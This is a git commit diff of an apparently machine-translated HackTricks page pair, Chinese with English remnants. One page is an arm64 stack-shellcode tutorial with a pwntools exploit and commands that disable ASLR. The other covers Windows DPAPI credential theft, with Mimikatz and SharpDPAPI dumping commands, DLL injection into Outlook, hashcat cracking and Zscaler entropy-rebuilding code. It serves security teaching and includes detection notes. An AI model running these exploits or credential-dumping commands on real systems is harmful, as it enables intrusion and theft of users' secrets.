Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/stac

This commit is contained in:
Translator 2025-09-05 18:59:26 +00:00
parent 0ae77d6eb1
commit ec3686aa41
2 changed files with 98 additions and 84 deletions

View File

@ -2,14 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
在以下内容中找到关于 arm64 的介绍:
有关 arm64 的介绍请参见:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Linux
### 代码
```c
#include <stdio.h>
#include <unistd.h>
@ -24,19 +25,19 @@ vulnerable_function();
return 0;
}
```
在没有 PIE、canary 和 NX 的情况下编译:
在没有 pie、canary 和 nx 的情况下编译:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## No ASLR & No canary - Stack Overflow
### No ASLR & No canary - Stack Overflow
要停止 ASLR请执行
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
要获取[**bof的偏移量请查看此链接**](../ret2win/ret2win-arm64.md#finding-the-offset)。
要获取 [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset)。
利用:
Exploit:
```python
from pwn import *
@ -67,8 +68,21 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
唯一“复杂”的事情是找到调用的栈地址。在我的情况下,我使用 gdb 找到的地址生成了漏洞利用,但在利用时它没有工作(因为栈地址稍微改变了)。
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
我打开了生成的 **`core` 文件** (`gdb ./bog ./core`),并检查了 shellcode 起始位置的真实地址。
## macOS
> [!TIP]
> 在 macOS 上无法禁用 NX因为在 arm64 上这一模式由硬件级别实现,所以你不能禁用它,因此你不会在 macOS 中找到在 stack 上有 shellcode 的示例。
Check a macOS ret2win example in:
{{#ref}}
../ret2win/ret2win-arm64.md
{{#endref}}
我打开了生成的 **`core` 文件** (`gdb ./bog ./core`),并检查了 shellcode 开始的真实地址。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,35 +4,35 @@
## 什么是 DPAPI
## What is DPAPI
The Data Protection API (DPAPI) 主要在 Windows 操作系统中用于 **对非对称私钥进行对称加密**,利用用户或系统的秘密作为重要的熵源。此方法简化了开发者的加密工作,使他们可以使用从用户登录秘密派生的密钥(或用于系统加密时的系统域认证秘密)来加密数据,从而无需开发者自行管理加密密钥的保护
Data Protection API (DPAPI) 主要在 Windows 操作系统中用于 **对非对称私钥进行对称加密**,利用用户或系统秘密作为重要的熵来源。该方法通过允许开发者使用从用户登录凭据派生的密钥来加密数据(或对于系统加密,使用系统的域身份验证秘密),简化了加密流程,从而免去了开发者自行保护加密密钥的必要
The most common way to use DPAPI is through the **`CryptProtectData` and `CryptUnprotectData`** functions, which allow applications to encrypt and decrypt data securely with the session of the process that is currently logged on. This means that the encrypted data can only be decrypted by the same user or system that encrypted it.
最常见的使用 DPAPI 的方式是通过 **`CryptProtectData``CryptUnprotectData`** 函数,它们允许应用在当前登录会话的进程中安全地加密和解密数据。这意味着被加密的数据只能由加密它的相同用户或系统解密。
Moreover, these functions accepts also an **`entropy` 参数**,该参数也会在加密和解密过程中使用,因此要解密使用该参数加密的数据,必须提供在加密时使用的相同 `entropy` 值。
此外,这些函数还接受一个 **`entropy` parameter**,该参数在加密和解密时也会被使用,因此,为了解密使用该参数加密的内容,你必须提供在加密时使用的相同 entropy 值。
### 用户密钥生成
### Users key generation
The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. 该密钥由用户密码及其他因素派生,算法取决于用户类型但最终为 SHA1。例如对于域用户**它取决于该用户的 NTLM hash**。
DPAPI 为每个用户生成一个唯一密钥(称为 **`pre-key`**),基于他们的凭据生成。这个密钥由用户的密码和其他因素派生,具体算法依用户类型而异,但最终是一个 SHA1。例如对于域用户**它依赖于用户的 NTLM 哈希**。
一点尤其重要,因为如果攻击者能获取到用户的密码哈希,他们可以:
非常有意思,因为如果攻击者能够获得用户的密码哈希,他们可以:
- **使用该用户的密钥解密任何使用 DPAPI 加密的数据**,而无需调用任何 API
- 尝试**离线破解密码**,以生成有效的 DPAPI 密钥
- **使用该用户的密钥解密任何用 DPAPI 加密的数据**,而无需联系任何 API
- 离线尝试 **破解密码**,以生成有效的 DPAPI 密钥
此外,每当用户使用 DPAPI 对数据进行加密时,都会生成一个新的 **主密钥**。这个主密钥才是实际用于加密数据的密钥。每个主密钥都有一个用于标识它的 **GUID**(全局唯一标识符)。
此外,每次用户使用 DPAPI 加密某些数据时,都会生成一个新的 **master key**。这个 master key 实际上用于加密数据。每个 master key 都有一个用于识别它的 **GUID**(全局唯一标识符)。
主密钥存储在 **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** 目录下,其中 `{SID}` 是该用户的安全标识符。主密钥先后被用户的 **`pre-key`** 加密,并且还被一个用于恢复的 **域备份密钥 (domain backup key)** 加密(因此同一个密钥会以两种不同方式被加密存储两次)。
master keys 存储在 **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** 目录中,其中 `{SID}` 是该用户的 Security Identifier。master key 是使用用户的 **`pre-key`** 加密存储的,同时也由一个用于恢复的 **域备份密钥domain backup key** 加密(因此相同的密钥以两种不同方式被加密存储)。
注意,**用于加密主密钥的域密钥存储在域控制器中并且不会改变**,因此如果攻击者能够访问域控制器,他们可以检索域备份密钥并解密域内所有用户的主密钥
注意,用于加密 master key 的 **域密钥存在于域控制器中且从不更改**,因此如果攻击者能够访问域控制器,他们可以检索域备份密钥并解密域内所有用户的 master keys
加密的 blob 在其头部包含用于加密数据的 **主密钥的 GUID**。
被加密的 blob 在其头部包含用于加密其中数据的 **master key 的 GUID**。
> [!TIP]
> DPAPI 加密的 blob 以 **`01 00 00 00`** 开头
> DPAPI encrypted blobs starts with **`01 00 00 00`**
查找主密钥:
Find master keys:
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -45,37 +45,37 @@ This is what a bunch of Master Keys of a user will looks like:
![](<../../images/image (1121).png>)
### Machine/System key generation
### 机器/系统密钥生成
这是用机器加密数据的密钥。它基于 **DPAPI_SYSTEM LSA secret**,这是一个只有 SYSTEM 用户可以访问的特殊密钥。该密钥用于加密需要由系统本身访问的数据,例如机器级别的凭证或系统范围的机密。
这是用来让机器加密数据的密钥。它基于 **DPAPI_SYSTEM LSA secret**,这是一个只有 SYSTEM 用户才能访问的特殊密钥。该密钥用于加密需要系统自身访问的数据,例如机器级凭据或系统范围的机密。
注意这些密钥 **没有域备份**,因此它们只能在本地访问:
注意这些密钥**没有域备份**,因此只能在本地访问:
- **Mimikatz** 可以通过导出 LSA secrets 来访问它,使用命令:`mimikatz lsadump::secrets`
- 该 secret 存储在注册表中,因此管理员可以 **修改 DACL 权限以访问它**。注册表路径为:`HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
- **Mimikatz** 可以通过转储 LSA secrets 来访问它,使用命令:`mimikatz lsadump::secrets`
- 该 secret 存储在注册表中,因此管理员可以通过**修改 DACL 权限以访问它**。注册表路径为:`HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### Protected Data by DPAPI
### 由 DPAPI 保护的数据
DPAPI 保护的个人数据包括:
- Windows 凭
- Internet Explorer 和 Google Chrome 的密码及自动填充数据
- 像 Outlook 和 Windows Mail 这样的应用的电子邮件和内部 FTP 帐户密码
- Windows 凭
- Internet Explorer 和 Google Chrome 的密码及自动完成数据
- Outlook 和 Windows Mail 等应用的电子邮件和内部 FTP 账户密码
- 共享文件夹、资源、无线网络和 Windows Vault 的密码,包括加密密钥
- 远程桌面连接、.NET Passport 的密码,以及用于各种加密和认证目的的私钥
- 由 Credential Manager 管理的网络密码,以及使用 CryptProtectData 的应用中的个人数据,例如 Skype、MSN messenger 等
- 由 Credential Manager 管理的网络密码以及使用 CryptProtectData 的应用(如 Skype、MSN messenger 等)中的个人数据
- 注册表中的加密 blob
- ...
系统保护的数据包括:
系统级被保护的数据包括:
- Wifi 密码
- 计划任务密码
- ...
### Master key extraction options
### 主密钥提取选项
- 如果用户具有域管理员权限,他们可以访问 **domain backup key** 来解密域内所有用户的 master keys
- 如果用户拥有域管理员权限,他们可以访问 **domain backup key** 来解密域中所有用户的主密钥
```bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -83,17 +83,17 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
```
- 有了本地管理员权限,可以**访问 LSASS 内存**以提取所有已连接用户的 DPAPI 主密钥和 SYSTEM 密钥
- With local admin privileges, 可以**访问 LSASS memory**以提取所有已登录用户的 DPAPI master keys 和 SYSTEM key
```bash
# Mimikatz
mimikatz sekurlsa::dpapi
```
- 如果用户具有 local admin privileges他们可以访问 **DPAPI_SYSTEM LSA secret** 来解密 machine master keys:
- 如果用户具有本地管理员权限,他们可以访问 **DPAPI_SYSTEM LSA secret** 来解密机器主密钥:
```bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
```
- 如果已知该用户的 password 或 hash NTLM你可以**直接 decrypt 该用户的 master keys**
- 如果已知该用户的 password 或 hash NTLM你可以 **直接解密该用户的主密钥**
```bash
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
@ -101,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
```
- 如果你以用户的会话身份,可以向 DC 请求 **backup key to decrypt the master keys using RPC**。如果你是 local admin 且用户已登录,可以为此 **steal his session token**
- 如果你以该用户的会话身份登录,有可能向 DC 请求 **backup key to decrypt the master keys using RPC**。如果你是 local admin 且用户已登录,可以为此 **steal his session token**
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -121,12 +121,12 @@ mimikatz vault::list
### 查找 DPAPI 加密数据
常见用户 **受保护的文件** 位于:
常见用户**受保护的文件**位于:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
- 也请在上述路径中将 `\Roaming\` 更改为 `\Local\` 进行检查
- 也可尝试将上述路径中的 `\Roaming\` 更改为 `\Local\`
枚举示例:
```bash
@ -135,7 +135,7 @@ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) 可以在文件系统、注册表和 B64 blobs 中查找 DPAPI 加密的 blobs:
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) 可以在文件系统、注册表和 B64 blobs 中查找 DPAPI 加密的 blobs
```bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
@ -150,11 +150,11 @@ search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
```
请注意 [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (来自同一仓库) 可用于使用 DPAPI 解密诸如 cookies 之类的敏感数据
请注意[**SharpChrome**](https://github.com/GhostPack/SharpDPAPI)(来自相同的仓库)可用于使用 DPAPI 解密敏感数据,如 cookies
### 访问密钥和数据
- **使用 SharpDPAPI** 从当前会话的 DPAPI 加密文件中获取凭
- **使用 SharpDPAPI** 从当前会话的 DPAPI 加密文件中获取凭
```bash
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
@ -163,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
```
- **获取 credentials 信息**,比如 encrypted data 和 guidMasterKey。
- **获取凭证信息**,例如加密数据和 guidMasterKey。
```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -173,9 +173,9 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
pbData : b8f619[...snip...]b493fe
[..]
```
- **访问 masterkeys**:
- **Access masterkeys**:
使用 RPC 请求 **domain backup key** 的用户的 masterkey 进行解密
使用 RPC 解密请求 **domain backup key** 的用户的 masterkey
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
**SharpDPAPI** 工具还支持用于 masterkey 解密的这些参数(注意可以使用 `/rpc` 获取域的备份密钥使用 `/password` 提供明文密码,或使用 `/pvk` 指定 DPAPI 域私钥文件...
The **SharpDPAPI** 工具还支持用于 masterkey 解密的这些参数(注意可以使用 `/rpc` 获取域的备份密钥使用 `/password` 提供明文密码,或使用 `/pvk` 指定 DPAPI 域私钥文件...
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -203,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
The **SharpDPAPI** 工具还支持这些用于 `credentials|vaults|rdg|keepass|triage|blob|ps` 解密的参数(注意可以使用 `/rpc` 获取域的备份密钥,使用 `/password` 提供明文密码,使用 `/pvk` 指定 DPAPI 域私钥文件,使用 `/unprotect` 利用当前用户会话……
The **SharpDPAPI** 工具还支持用于解密 `credentials|vaults|rdg|keepass|triage|blob|ps`这些参数(注意可以使用 `/rpc` 获取域的备份密钥,`/password` 使用明文密码,`/pvk` 指定 DPAPI 域私钥文件,`/unprotect` 使用当前用户会话...
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -222,7 +222,7 @@ Targeting:
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
```
- 使用 **当前用户会话** 解密一些数据:
- 使用 **当前用户会话** 解密某些数据:
```bash
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
@ -231,11 +231,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
---
### 处理可选的 Entropy"Third-party entropy"
### 处理可选"Third-party entropy"
某些应用会向 `CryptProtectData` 传递一个额外的 **entropy** 值。没有该值,即使已知正确的 masterkeyblob 也无法被解密。因此,在针对以这种方式保护的凭证(例如 Microsoft Outlook、某些 VPN 客户端)时,获取 **entropy** 至关重要。
一些应用程序会向 `CryptProtectData` 传递一个额外的 **entropy** 值。没有该值,即使已知正确的 masterkey也无法解密该 blob。因此在针对以这种方式保护的凭据(例如 Microsoft Outlook、某些 VPN 客户端)时,获取 entropy 至关重要。
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) 是一个 user-mode DLL它在目标进程内 hooks DPAPI 函数并透明地记录任何被提供的可选 **entropy**。以 **DLL-injection** 模式对诸如 `outlook.exe``vpnclient.exe` 等进程运行 EntropyCapture会输出一个将每个 **entropy** 缓冲区映射到调用进程和 blob 的文件。捕获到的 **entropy** 随后可以提供给 **SharpDPAPI**/entropy:)或 **Mimikatz**/entropy:<file>)以解密数据。
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) 是一个 user-mode DLL会 hook 目标进程内的 DPAPI 函数,并透明地记录任何提供的可选 entropy。在 **DLL-injection** 模式下对诸如 `outlook.exe``vpnclient.exe` 的进程运行 EntropyCapture会输出一个文件将每个 entropy 缓冲区映射到调用进程和 blob。捕获到的 entropy 之后可以提供给 **SharpDPAPI** (`/entropy:`) 或 **Mimikatz** (`/entropy:<file>`),以便解密数据。
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -243,11 +243,11 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### 离线破解主密钥 (Hashcat & DPAPISnoop)
### 离线破解 masterkeys (Hashcat & DPAPISnoop)
Microsoft 在 Windows 10 v1607 (2016) 开始引入了 **context 3** 主密钥格式。`hashcat` v6.2.6 (December 2023) 增加了 hash-modes **22100** (DPAPI masterkey v1 context), **22101** (context 1) 和 **22102** (context 3),允许通过 GPU 加速直接从主密钥文件破解用户密码。因此,攻击者可以在不与目标系统交互的情况下执行字典或暴力破解攻击。
Microsoft 在 Windows 10 v1607 (2016) 开始引入了 **context 3** masterkey 格式。`hashcat` v6.2.6 (2023 年 12 月) 添加了哈希模式 **22100**DPAPI masterkey v1 context、**22101**context 1**22102**context 3允许直接从 masterkey 文件对用户密码进行 GPU 加速破解。 因此,攻击者可以在不与目标系统交互的情况下执行字典或暴力破解攻击。
`DPAPISnoop` (2024) 自动化该过程:
`DPAPISnoop` (2024) 自动化此流程:
```bash
# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
@ -255,62 +255,62 @@ hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
该工具还可以解析 Credential 和 Vault blobs使用 cracked keys 对其解密并导出 cleartext passwords。
### 访问其他机器数据
### 访问其他机器数据
**SharpDPAPI SharpChrome** 中,你可以指定 **`/server:HOST`** 选项来访问远程机器的数据。当然你需要能够访问那台机器,下面的例子假定 **域备份加密密钥已知**
**SharpDPAPI and SharpChrome** 中,你可以指定 **`/server:HOST`** 选项来访问远程机器的数据。当然你需要能够访问该机器,在下面的示例中假设已知 **domain backup encryption key**
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
```
## 其他工具
## Other tools
### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) 是一个自动化工具,用于从 LDAP 目录提取所有用户和计算机,并通过 RPC 提取域控制器的备份密钥。该脚本随后会解析所有计算机的 IP 地址,并对所有计算机执行 smbclient 以检索所有用户的 DPAPI blobs,并使用域备份密钥对其全部解密。
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) 是一个自动化工具,用于从 LDAP 目录中提取所有用户和计算机,以及通过 RPC 提取域控制器的备份密钥。脚本随后会解析所有计算机的 IP 地址,并对所有计算机执行 smbclient 以检索所有用户的 DPAPI blob并使用域备份密钥解密所有内容
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
通过从 LDAP 提取的计算机列表,你可以发现每个子网,即使你以前不知道它们!
从 LDAP 提取的计算机列表可以让你找到每个子网,即使你事先并不知道它们!
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) 可以自动导出受 DPAPI 保护的秘密。2.x 版本引入了:
[**DonPAPI**](https://github.com/login-securite/DonPAPI) 可以自动转储由 DPAPI 保护的秘密。2.x 版本引入了:
* 从数百主机并行收集 blobs
* 从数百主机并行收集 blobs
* 解析 **context 3** masterkeys 并自动集成 Hashcat 破解
* 支持 Chrome "App-Bound" 加密 cookies见下一节
* 新 **`--snapshot`** 模式,用于重复轮询端点并比新创建的 blobs
* 新 **`--snapshot`** 模式,用于重复轮询端点并比新创建的 blobs
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) 是一个用于 masterkey/credential/vault 文件的 C# 解析器,能够输出 Hashcat/JtR 格式并可选地自动调用破解。它完全支持到 Windows 11 24H1 的 machine 和 user masterkey 格式。
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) 是一个用于解析 masterkey/credential/vault 文件的 C# 解析器,能够输出 Hashcat/JtR 格式并可选地自动调用破解。它完全支持直到 Windows 11 24H1 的机器和用户 masterkey 格式。
## 常见检测
## Common detections
- 访问位于 `C:\Users\*\AppData\Roaming\Microsoft\Protect\*``C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` 及其他与 DPAPI 相关的目录中的文件
- 尤其是来自诸如 **C$****ADMIN$** 的网络共享。
- 使用 **Mimikatz**, **SharpDPAPI** 或类似工具访问 LSASS 内存或转储 masterkeys。
- 事件 **4662***对对象执行了操作* —— 可与访问 **`BCKUPKEY`** 对象相关联。
- 事件 **4673/4674**:当进程请求 *SeTrustedCredManAccessPrivilege*Credential Manager
- 访问 `C:\Users\*\AppData\Roaming\Microsoft\Protect\*``C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` 及其他与 DPAPI 相关的目录。
- 尤其是通过诸如 **C$****ADMIN$** 的网络共享访问时
- 使用 **Mimikatz**、**SharpDPAPI** 或类似工具访问 LSASS 内存或转储 masterkeys。
- 事件 **4662***An operation was performed on an object* — 可与访问 **`BCKUPKEY`** 对象相关联。
- 事件 **4673/4674**:当进程请求 *SeTrustedCredManAccessPrivilege*Credential Manager时。
---
### 2023-2025 漏洞与生态系统变化
### 2023-2025 vulnerabilities & ecosystem changes
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (November 2023)。具有网络访问权限的攻击者可以诱骗域成员检索恶意的 DPAPI 备份密钥,从而解密用户 masterkeys。该问题已在 2023 年 11 月的累积更新中修补 —— 管理员应确保 DCs 和工作站已打上所有补丁。
* **Chrome 127 “App-Bound” cookie encryption** (July 2024) 用存放于用户 **Credential Manager** 下的附加密钥替代了仅依赖 DPAPI 的旧保护方式。离线解密 cookies 现在需要同时具备 DPAPI masterkey 和 **GCM-wrapped app-bound key**。SharpChrome v2.3 和 DonPAPI 2.x 在以用户上下文运行时能够恢复该额外密钥。
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing**2023 年 11 月)。具有网络访问权限的攻击者可以欺骗域成员检索恶意的 DPAPI 备份密钥,从而解密用户 masterkeys。已在 2023 年 11 月的累积更新中修补——管理员应确保 DC 和工作站已完全打补丁。
* **Chrome 127 “App-Bound” cookie encryption**2024 年 7 月)用存储在用户 **Credential Manager** 下的额外密钥替换了仅依赖 DPAPI 的旧保护。离线解密 cookies 现在需要同时具备 DPAPI masterkey 和 **GCM-wrapped app-bound key**。SharpChrome v2.3 和 DonPAPI 2.x 在以用户上下文运行时能够恢复该额外密钥。
### Case Study: Zscaler Client Connector Custom Entropy Derived From SID
Zscaler Client Connector 在 `C:\ProgramData\Zscaler` 下存放多个配置文件(例如 `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`)。每个文件都使用 **DPAPI (Machine scope)** 加密,但厂商提供了 **custom entropy**,该熵是在 *运行时计算* 的,而不是存储在磁盘上
Zscaler Client Connector 在 `C:\ProgramData\Zscaler` 下存储了若干配置文件(例如 `config.dat``users.dat``*.ztc``*.mtt``*.mtc``*.mtp`)。每个文件都使用 **DPAPI (Machine scope)** 加密,但厂商提供了在运行时 *计算* 而非存盘的 **custom entropy**
由两个元素重建:
entropy 由两个元素重建:
1. 嵌入在 `ZSACredentialProvider.dll` 中的硬编码 secret
2. 配置所属的 Windows 账户的 **SID**
1. 嵌入在 `ZSACredentialProvider.dll` 中的硬编码秘密
2. 属于该配置的 Windows 帐户的 **SID**
DLL 实现的算法等价于:
DLL 实现的算法等价于:
```csharp
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
@ -325,15 +325,15 @@ byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
```
因为该秘密嵌入在可从磁盘读取的 DLL 中,**任何拥有 SYSTEM 权限的本地攻击者都可以为任何 SID 重新生成熵** 并离线解密这些 blobs
因为该秘密嵌入在可以从磁盘读取的 DLL 中,**任何具有 SYSTEM 权限的本地攻击者都可以为任意 SID 重新生成 entropy** 并离线解密这些 blobs
```csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
```
Decryption yields the complete JSON configuration, including every **device posture check** and its expected value information that is very valuable when attempting client-side bypasses.
解密会产出完整的 JSON 配置,包括每一个 **device posture check** 及其预期值 —— 这在尝试客户端绕过时非常有价值。
> 提示:其他被加密的工件 (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) 使用 DPAPI **没有** 熵(`16` 个零字节)进行保护。因此,一旦获得 SYSTEM 权限,就可以直接使用 `ProtectedData.Unprotect` 对其进行解密。
> 提示:其他加密的文件 (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) 使用 DPAPI **没有** entropy`16` 个零字节)保护。因此一旦获得 SYSTEM 权限,就可以直接用 `ProtectedData.Unprotect` 解密。
## 参考资料